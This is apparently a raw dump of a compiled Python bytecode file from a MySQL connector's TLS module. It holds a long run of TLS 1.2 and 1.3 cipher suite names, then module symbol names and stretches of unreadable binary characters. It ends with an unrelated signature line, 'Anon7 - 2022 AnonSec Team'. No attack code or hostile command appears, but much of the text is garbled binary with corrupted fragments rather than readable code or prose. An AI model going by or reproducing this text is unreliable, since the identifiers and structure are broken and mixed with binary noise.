A_WITH_NULL_SHA256ZTLS_RSA_WITH_AES_128_CBC_SHA256ZTLS_RSA_WITH_AES_256_CBC_SHA256ZTLS_RSA_WITH_AES_128_GCM_SHA256ZTLS_RSA_WITH_AES_256_GCM_SHA384Z"TLS_DH_RSA_WITH_AES_128_CBC_SHA256Z"TLS_DH_RSA_WITH_AES_256_CBC_SHA256Z"TLS_DH_RSA_WITH_AES_128_GCM_SHA256Z"TLS_DH_RSA_WITH_AES_256_GCM_SHA384Z"TLS_DH_DSS_WITH_AES_128_CBC_SHA256Z"TLS_DH_DSS_WITH_AES_256_CBC_SHA256Z"TLS_DH_DSS_WITH_AES_128_GCM_SHA256Z"TLS_DH_DSS_WITH_AES_256_GCM_SHA384Z#TLS_DHE_RSA_WITH_AES_128_CBC_SHA256Z#TLS_DHE_RSA_WITH_AES_256_CBC_SHA256Z#TLS_DHE_RSA_WITH_AES_128_GCM_SHA256Z#TLS_DHE_RSA_WITH_AES_256_GCM_SHA384Z#TLS_DHE_DSS_WITH_AES_128_CBC_SHA256Z#TLS_DHE_DSS_WITH_AES_256_CBC_SHA256Z#TLS_DHE_DSS_WITH_AES_128_GCM_SHA256Z#TLS_DHE_DSS_WITH_AES_256_GCM_SHA384Z%TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256Z%TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384Z%TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256Z%TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384Z'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256Z'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384Z'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256Z'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384Z#TLS_DH_anon_WITH_AES_128_CBC_SHA256Z#TLS_DH_anon_WITH_AES_256_CBC_SHA256Z#TLS_DH_anon_WITH_AES_128_GCM_SHA256Z#TLS_DH_anon_WITH_AES_256_GCM_SHA384ZRSA_WITH_AES_128_CCMZRSA_WITH_AES_256_CCMZDHE_RSA_WITH_AES_128_CCMZDHE_RSA_WITH_AES_256_CCMZRSA_WITH_AES_128_CCM_8ZRSA_WITH_AES_256_CCM_8ZDHE_RSA_WITH_AES_128_CCM_8ZDHE_RSA_WITH_AES_256_CCM_8ZECDHE_ECDSA_WITH_AES_128_CCMZECDHE_ECDSA_WITH_AES_256_CCMZECDHE_ECDSA_WITH_AES_128_CCM_8ZECDHE_ECDSA_WITH_AES_256_CCM_8Z TLS_RSA_WITH_ARIA_128_GCM_SHA256Z TLS_RSA_WITH_ARIA_256_GCM_SHA384Z$TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256Z$TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384Z$TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256Z$TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384Z(TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256Z(TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384Z&TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256Z&TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384Z TLS_PSK_WITH_ARIA_128_GCM_SHA256Z TLS_PSK_WITH_ARIA_256_GCM_SHA384Z$TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256Z$TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384Z$TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256Z$TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384Z,TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256Z,TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384Z*TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256Z*TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384ZPSK_WITH_NULL_SHAZDHE_PSK_WITH_NULL_SHAZRSA_PSK_WITH_NULL_SHAZPSK_WITH_RC4_128_SHAZPSK_WITH_3DES_EDE_CBC_SHAZPSK_WITH_AES_128_CBC_SHAZPSK_WITH_AES_256_CBC_SHAZDHE_PSK_WITH_RC4_128_SHAZDHE_PSK_WITH_3DES_EDE_CBC_SHAZDHE_PSK_WITH_AES_128_CBC_SHAZDHE_PSK_WITH_AES_256_CBC_SHAZRSA_PSK_WITH_RC4_128_SHAZRSA_PSK_WITH_3DES_EDE_CBC_SHAZRSA_PSK_WITH_AES_128_CBC_SHAZRSA_PSK_WITH_AES_256_CBC_SHAZPSK_WITH_AES_128_GCM_SHA256ZPSK_WITH_AES_256_GCM_SHA384ZDHE_PSK_WITH_AES_128_GCM_SHA256ZDHE_PSK_WITH_AES_256_GCM_SHA384ZRSA_PSK_WITH_AES_128_GCM_SHA256ZRSA_PSK_WITH_AES_256_GCM_SHA384ZPSK_WITH_AES_128_CBC_SHA256ZPSK_WITH_AES_256_CBC_SHA384ZPSK_WITH_NULL_SHA256ZPSK_WITH_NULL_SHA384ZDHE_PSK_WITH_AES_128_CBC_SHA256ZDHE_PSK_WITH_AES_256_CBC_SHA384ZDHE_PSK_WITH_NULL_SHA256ZDHE_PSK_WITH_NULL_SHA384ZRSA_PSK_WITH_AES_128_CBC_SHA256ZRSA_PSK_WITH_AES_256_CBC_SHA384ZRSA_PSK_WITH_NULL_SHA256ZRSA_PSK_WITH_NULL_SHA384ZECDHE_PSK_WITH_RC4_128_SHAZECDHE_PSK_WITH_3DES_EDE_CBC_SHAZECDHE_PSK_WITH_AES_128_CBC_SHAZECDHE_PSK_WITH_AES_256_CBC_SHAZ!ECDHE_PSK_WITH_AES_128_CBC_SHA256Z!ECDHE_PSK_WITH_AES_256_CBC_SHA384ZECDHE_PSK_WITH_NULL_SHAZECDHE_PSK_WITH_NULL_SHA256ZECDHE_PSK_WITH_NULL_SHA384Z PSK_WITH_CAMELLIA_128_CBC_SHA256Z PSK_WITH_CAMELLIA_256_CBC_SHA384Z$DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256Z$DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384Z$RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256Z$RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384Z&ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256Z&ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384ZPSK_WITH_AES_128_CCMZPSK_WITH_AES_256_CCMZDHE_PSK_WITH_AES_128_CCMZDHE_PSK_WITH_AES_256_CCMZPSK_WITH_AES_128_CCM_8ZPSK_WITH_AES_256_CCM_8ZDHE_PSK_WITH_AES_128_CCM_8ZDHE_PSK_WITH_AES_256_CCM_8Z+TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256Z-TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256Z)TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256Z%TLS_PSK_WITH_CHACHA20_POLY1305_SHA256Z+TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256Z)TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256Z)TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256�TLSV1_2_CIPHER_SUITES�TLS_AES_128_GCM_SHA256�TLS_AES_256_GCM_SHA384�TLS_CHACHA20_POLY1305_SHA256�TLS_AES_128_CCM_SHA256�TLS_AES_128_CCM_8_SHA256)r�r�r�r�r��TLSV1_3_CIPHER_SUITES)zTLSv1.2zTLSv1.3�TLS_CIPHER_SUITES�OPENSSL_CS_NAMES)6rRr4�abcrr�typingrrrrrr	r
rZcharsetsr
r�errorsrZtls_ciphersrrrrUrTrrZMYSQL_VECTOR_TYPE_CODEr&rS�boolr'r(r.r7r8rWrZr�r�r�r�rr)r*r5r>rUr�r�r�r��valuesr�r,r,r,r-�<module>s�(�$6	"=IxB.
G����	��

Anon7 - 2022
AnonSec Team